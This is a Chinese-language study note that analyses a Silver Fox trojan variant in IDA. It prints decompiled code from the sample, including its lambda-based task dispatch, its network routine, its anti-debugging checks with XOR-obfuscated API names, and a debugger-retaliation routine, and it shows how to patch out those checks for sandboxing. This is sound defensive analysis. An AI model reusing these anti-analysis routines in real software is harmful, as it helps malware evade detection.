【逆向学习】分析变种银狐学习笔记(采用匿名函数进行恶意行为)
前言
学习逆向中,有错误请指正,粗略分析
前置知识点:
- ida9
- 沙盒
本样本由客户中招机器中提取,和网上的其它银狐还不太一样,使用的是回调函数+函数指针表+虚函数表+匿名来加大分析难度
一、样本前置分析
先丢入虚拟机,看看基本信息


然后无脑丢入微步沙箱

看得出来有反沙箱,拿不到ip
使用Detect It Easy检测加壳情况

无壳,使用C++编写

二、逆向分析
丢入ida9,小等一下。看上面的小黄条跑完就是分析好了
还在分析:

分析好了:

发现有差不多10w个函数,而且没有符号表,肯定不能一个个看。

2.1 动态调试拿函数
在进行这一步前,请确认:
- 位于虚拟机内
- 虚拟机是干净的,不包含你的任何信息
- 从外部断开虚拟机网络设备

然后选择:

- 选择本地调试器
- 在
WinMain开头下一个断点 - 运行

运行起来后结束,回到静态,再次等待ida分析(可以看到左边的已经在识别函数了)
2.2 分析WinMain函数
回到WinMain,稍微看一下发现只有sub_7FF6100D1000进入下一步,那就跟上去

不难看出,sub_7FF6100D1000就是主要的函数,初始化了匿名函数表,然后去运行
__int64 __fastcall sub_7FF6100D1000(int a1, __int64 a2)
{
__int64 v2; // rsi
unsigned __int64 n0x2710; // rbx
unsigned __int64 i; // rdi
__int64 v5; // rdi
__int128 v7; // [rsp+20h] [rbp-E0h]
_QWORD v8[6]; // [rsp+30h] [rbp-D0h] BYREF
_QWORD *v9; // [rsp+68h] [rbp-98h]
_BYTE Dst[5040]; // [rsp+70h] [rbp-90h] BYREF
int v11; // [rsp+1450h] [rbp+1350h] BYREF
__int64 v12; // [rsp+1458h] [rbp+1358h] BYREF
v12 = a2;
v11 = a1;
memset(Dst, 0, sizeof(Dst)); //匿名函数数组
sub_7FF6124F4544(Dst);
*(_QWORD *)&v7 = &v11;
*((_QWORD *)&v7 + 1) = &v12;
v8[0] = &std::_Func_impl_no_alloc<_lambda_b8e3647117665ae1067c99a0012d8187_,void,>::`vftable';
*(_OWORD *)&v8[1] = v7;
v9 = v8;
v2 = sub_7FF6124F42EC(Dst, v8);
GetTickCount64();
n0x2710 = 0;
for ( i = 0; i < 0x2710; ++i ) //初始化任务器
{
v8[0] = &std::_Func_impl_no_alloc<_lambda_1c04ffb9f7024a5603d0ed8fa961c1b4_,void,>::`vftable';
v8[1] = i;
v9 = v8;
sub_7FF6124F42EC(Dst, v8);
}
sub_7FF6124F43C4(Dst, v2);
sub_7FF6124F44A0(&Dst[8]);
memset(Dst, 0, sizeof(Dst));
sub_7FF6124F4544(Dst);
v8[0] = &std::_Func_impl_no_alloc<_lambda_2a79b8aeed04807c8bd03e486aed13cb_,void,>::`vftable';
v9 = v8;
v5 = sub_7FF6124F42EC(Dst, v8);
GetTickCount64();
do //运行任务
{
v8[0] = &std::_Func_impl_no_alloc<_lambda_95755557b855ef9ea3b2abdd863bb962_,void,>::`vftable';
v8[1] = n0x2710;
v9 = v8;
sub_7FF6124F42EC(Dst, v8);
++n0x2710;
}
while ( n0x2710 < 0x2710 );
sub_7FF6124F43C4(Dst, v5);
sub_7FF6124F44A0(&Dst[8]);
return 0;
}
2.3 分析匿名函数
首先补充一下,这一坨实际上就是匿名函数(也叫lambda函数)
std::_Func_impl_no_alloc<_lambda_b8e3647117665ae1067c99a0012d8187_,void,>::`vftable'
先别怕,人家就长这样,能够正常跳转的。
用这个有什么好处等会就知道了,能把逆向人恶心得不轻,直接在这一坨函数上双击,跳转到:

哎呀,看起来就好害怕,但是你先别怕,这个就是虚函数表,第一个函数是构造函数,第二个是主要函数,第三个是复制函数,第四个是析构函数
我们直接找第二个进去

我们发现主要的函数模块都在这

2.4 如法炮制...吗?
理论上,虚函数表就放在.rdata我们只要挨个分析过去就好了。但是问题是:这样效率太低了,刚刚一个函数都有点眼花缭乱了,更别说一堆函数指针和匿名函数,那有什么办法吗?
有的,兄弟,有的。
首先,这个木马不可能从网络连接到截图都直接写吧?必然要使用dll,那么,我们打开Imports

这下看懂了,Win32API!我们可以直接对着API反向找函数,而没必要分析执行流,在刚刚动态调试就是为了找出dll
2.5 拿网络连接开刀
WS2_32.dll是提供了socket的一个动态库,其中要连接就一定会调用WSAStartup

按X查找交叉引用

一下就找到了目标函数,依次类推,要导入的函数基本上是有用的,你要分析什么就直接去找(例如:这个木马运行后会删除自身,你就去KERNEL32找DeletFileW),这样就能快速完成任务。
int __fastcall sub_7FF61250CDD0(__int64 a1)
{
struct _PEB *v2; // rax
__int64 v3; // rax
__int64 v4; // rdi
size_t MaxCount; // r8
_OWORD *v6; // rdx
unsigned __int64 n15; // rdx
unsigned __int64 n0x1000; // rdx
void *v9; // rcx
unsigned __int64 v10; // rdx
__int128 Dst; // [rsp+20h] [rbp-40h] BYREF
__int128 v13; // [rsp+30h] [rbp-30h]
CHAR pStringBuf[24]; // [rsp+40h] [rbp-20h] BYREF
if ( (rand() & 7u) <= 3 || (rand() & 0xFu) <= 7 )
rand();
if ( (unsigned __int8)sub_7FF6124F725C() )
sub_7FF6124F6F34();
v2 = NtCurrentPeb();
if ( v2 )
{
v2->BeingDebugged = 0;
v2->NtGlobalFlag &= 0xFFFFFF8F;
}
WSAStartup(0x202u, *(LPWSADATA *)(a1 + 8));
*(_DWORD *)(*(_QWORD *)(a1 + 16) + 4LL) = 2;
*(_DWORD *)(*(_QWORD *)(a1 + 16) + 8LL) = 1;
if ( !getaddrinfo(**(PCSTR **)(a1 + 24), 0, *(const ADDRINFOA **)(a1 + 16), *(PADDRINFOA **)(a1 + 32)) )
{
for ( **(_QWORD **)(a1 + 40) = **(_QWORD **)(a1 + 32);
;
**(_QWORD **)(a1 + 40) = *(_QWORD *)(**(_QWORD **)(a1 + 40) + 40LL) )
{
v3 = *(_QWORD *)(a1 + 40);
if ( !*(_QWORD *)v3 )
break;
inet_ntop(2, (const void *)(*(_QWORD *)(*(_QWORD *)v3 + 32LL) + 4LL), pStringBuf, 0x16u);
v4 = *(_QWORD *)(a1 + 48);
*(_QWORD *)&Dst = 0;
*(_QWORD *)&v13 = 0;
*((_QWORD *)&v13 + 1) = 15;
MaxCount = -1;
do
++MaxCount;
while ( pStringBuf[MaxCount] );
sub_7FF61251275C(&Dst, pStringBuf, MaxCount);
v6 = *(_OWORD **)(v4 + 8);
if ( v6 == *(_OWORD **)(v4 + 16) )
{
sub_7FF61250AE80(v4, v6, &Dst);
n15 = *((_QWORD *)&v13 + 1);
}
else
{
*v6 = Dst;
v6[1] = v13;
n15 = 15;
LOBYTE(Dst) = 0;
*(_QWORD *)(v4 + 8) += 32LL;
}
if ( n15 >= 0x10 )
{
n0x1000 = n15 + 1;
v9 = (void *)Dst;
if ( n0x1000 >= 0x1000 )
{
v10 = n0x1000 + 39;
v9 = *(void **)(Dst - 8);
if ( (unsigned __int64)(Dst - (_QWORD)v9 - 8) > 0x1F )
sub_7FF612660510(v9, v10);
}
j_j_free(v9);
}
}
freeaddrinfo(**(PADDRINFOA **)(a1 + 32));
}
return WSACleanup();
}
2.6 还能更快吗?
能,还记得沙箱为什么找不出来么?对的,因为有反沙箱,那我们直接干掉反沙箱不就好了?
在刚刚的函数注意到:
if ( (unsigned __int8)sub_7FF6124F725C() )
sub_7FF6124F6F34();
其中sub_7FF6124F725C()看得出来是在检测调试器(注意看IsDebuggerPresent())
bool sub_7FF6124F725C()
{
struct _PEB *v0; // rax
__m128i v1; // rdi
HMODULE ModuleHandleA; // rax
FARPROC ProcAddress; // rdi
HANDLE CurrentProcess; // rax
bool v5; // cl
int i; // edx
ULONGLONG TickCount64; // rsi
__int64 v8; // rcx
double v9; // xmm0_8
int j; // [rsp+34h] [rbp-94h]
int v12; // [rsp+38h] [rbp-90h]
CHAR ModuleName[16]; // [rsp+40h] [rbp-88h] BYREF
CHAR ProcName[16]; // [rsp+50h] [rbp-78h] BYREF
__m128i v15; // [rsp+60h] [rbp-68h] BYREF
_DWORD v16[4]; // [rsp+70h] [rbp-58h] BYREF
__m128i v17; // [rsp+80h] [rbp-48h]
__m128i v18; // [rsp+90h] [rbp-38h]
__m128i v19; // [rsp+A0h] [rbp-28h]
if ( IsDebuggerPresent() )
return 1;
v0 = NtCurrentPeb();
if ( v0->BeingDebugged )
return 1;
if ( (v0->NtGlobalFlag & 0x70) != 0 )
return 1;
v1.m128i_i64[0] = 0x4F92C7D6D1A552FFLL;
v17.m128i_i64[0] = 0x4F92C7D6D1A552FFLL;
v1.m128i_i64[1] = 0x2C3B69CFF222FF14LL;
v17.m128i_i64[1] = 0x2C3B69CFF222FF14LL;
*(_QWORD *)ModuleName = 0x23F6E9BABDC12691LL;
*(_QWORD *)&ModuleName[8] = 0x2C3B69CFF222FF78LL;
*(__m128i *)ModuleName = _mm_xor_si128(_mm_load_si128((const __m128i *)ModuleName), v17);
ModuleHandleA = GetModuleHandleA(ModuleName);
if ( ModuleHandleA )
{
v18 = v1;
v19.m128i_i64[0] = 0xB0EDD49C2A235B59uLL;
v19.m128i_i64[1] = 0x3665EBEDEC046B2ELL;
*(_QWORD *)ProcName = 0x6EBB5B3A4F426B1LL;
*(_QWORD *)&ProcName[8] = 0x454F08A2804D997ALL;
v15.m128i_i64[0] = 0xC388B7F358733536uLL;
v15.m128i_i64[1] = 0x3665EBEDEC046B5DLL;
*(__m128i *)ProcName = _mm_xor_si128(_mm_load_si128((const __m128i *)ProcName), v1);
v15 = _mm_xor_si128(_mm_load_si128(&v15), v19);
ProcAddress = GetProcAddress(ModuleHandleA, ProcName);
if ( ProcAddress )
{
v16[0] = 0;
CurrentProcess = GetCurrentProcess();
if ( ((int (__fastcall *)(HANDLE, __int64, _DWORD *))ProcAddress)(CurrentProcess, 7, v16) >= 0 )
{
if ( v16[0] )
return 1;
}
}
}
v5 = 0;
for ( i = 0; i < 20 && !v5; v5 = *((_BYTE *)sub_7FF6124F725C + i++) == 0xCC )
;
if ( v5 )
return 1;
TickCount64 = GetTickCount64();
v12 = 0;
for ( j = 0; j < 10000; v12 += 2 * j++ )
;
v8 = GetTickCount64() - TickCount64;
v9 = v8 < 0
? (double)(int)(v8 & 1 | ((unsigned __int64)v8 >> 1)) + (double)(int)(v8 & 1 | ((unsigned __int64)v8 >> 1))
: (double)(int)v8;
return v9 / 1000.0 > 0.01;
}
然后看sub_7FF6124F6F34(),检测到调试器后进行报复行为(推出、无限循环、销毁内存等)
// write access to const memory has been detected, the output may be wrong!
char sub_7FF6124F6F34()
{
int *v0; // rax
int n1000; // ebx
unsigned int TickCount64; // eax
unsigned __int64 i; // rdx
int v4; // eax
int v5; // eax
DWORD j; // ecx
_QWORD v8[1000]; // [rsp+30h] [rbp-3348h]
DWORD flOldProtect[4]; // [rsp+1F70h] [rbp-1408h] BYREF
CHAR Text[16]; // [rsp+1F80h] [rbp-13F8h] BYREF
int n624; // [rsp+1FA0h] [rbp-13D8h] BYREF
_DWORD v12[1251]; // [rsp+1FA4h] [rbp-13D4h]
LOBYTE(v0) = sub_7FF6124F725C();
n1000 = 0;
if ( (_BYTE)v0 )
{
TickCount64 = GetTickCount64();
v12[1248] = -1;
v12[0] = TickCount64;
for ( i = 1; i < 0x270; ++i )
{
v12[i] = i + 1812433253 * (TickCount64 ^ (TickCount64 >> 30));
TickCount64 = i + 1812433253 * (TickCount64 ^ (TickCount64 >> 30));
}
n624 = 624;
*(_DWORD *)Text = 0;
*(_DWORD *)&Text[4] = 4;
v4 = sub_7FF6124F6E6C(Text, &n624);
if ( !v4 )
ExitProcess(0);
LODWORD(v0) = v4 - 1;
if ( (_DWORD)v0 )
{
v5 = (_DWORD)v0 - 1;
if ( v5 )
{
LODWORD(v0) = v5 - 1;
if ( !(_DWORD)v0 )
{
RaiseException(0x80000003, 0, 0, 0);
for ( j = 500; ; j = 1000 )
{
Sleep(j);
rand();
}
}
if ( (_DWORD)v0 == 1 )
__debugbreak();
}
else
{
LODWORD(v0) = VirtualProtect(sub_7FF6124F725C, 0x10u, 0x40u, flOldProtect);
if ( (_DWORD)v0 )
{
*(_DWORD *)sub_7FF6124F725C = 233;
*((_BYTE *)sub_7FF6124F725C + 4) = 0;
LOBYTE(v0) = VirtualProtect(sub_7FF6124F725C, 0x10u, flOldProtect[0], flOldProtect);
}
MEMORY[0] = 1234;
}
}
else
{
while ( n1000 < 1000 )
{
v0 = (int *)operator new(4u);
*v0 = n1000;
v8[n1000] = v0;
*v0 ^= 0xDEADBEEF;
++n1000;
}
}
}
return (char)v0;
}
那我们直接修改源文件,直接在函数开头右键->Patching->Change byte

开头改为C3(即retn)


按ctrl+s,然后选择Edit->Patvh program -> Apply patches to


然后把1.exe丢入沙箱(千万别手贱打开了!)

然后就发现全部出来了
2.7 深入分析
如果我就是想要深入分析呢?也行,还是以sub_7FF61250CDD0(就是上文连接网络的为例),直接对着sub_7FF61250CDD0按X查交叉引用

对着这一堆按X


然后就循环起来就好
三、总结&坑点
因为是用户机器下来的,不能保存文件,可以去微步下载。
ida por 以及插件下载: https://www.123912.com/s/dlcdjv-1bHg?提取码:BRTt
- 实际上摸了好久才出来的,笔者真的分析了15个函数QAQ
- 别忘了重置虚拟机哦
- 其实这个是qt写的,在早期已经发现了,但是对分析用处不大就没写

学过一些qt,最著名的就是信号和槽,但是信号和槽反编译出来不是这样,所以就没写了。
为什么说匿名函数很恶心。因为找不到交叉引用,全是当成对象来用,传入的参数也是当成对象,统一由一个函数来启动函数,可把我恶心坏了,加上开了一堆线程,每个只能追踪到统一的启动函,这才让我放弃了追踪控制流的打法。
3.1 木马分析打法
- 关闭杀软
- 重置虚拟机
- 断开网络
- 丢沙箱
- 反编译+去混淆
- 动态调试导入dll
- 对着dll找函数功能
- 去掉反调试函数
- 丢入沙箱就可以交报告了,如果客户大大要什么具体行为就回到6对着找,基本能八九不离十

浙公网安备 33010602011771号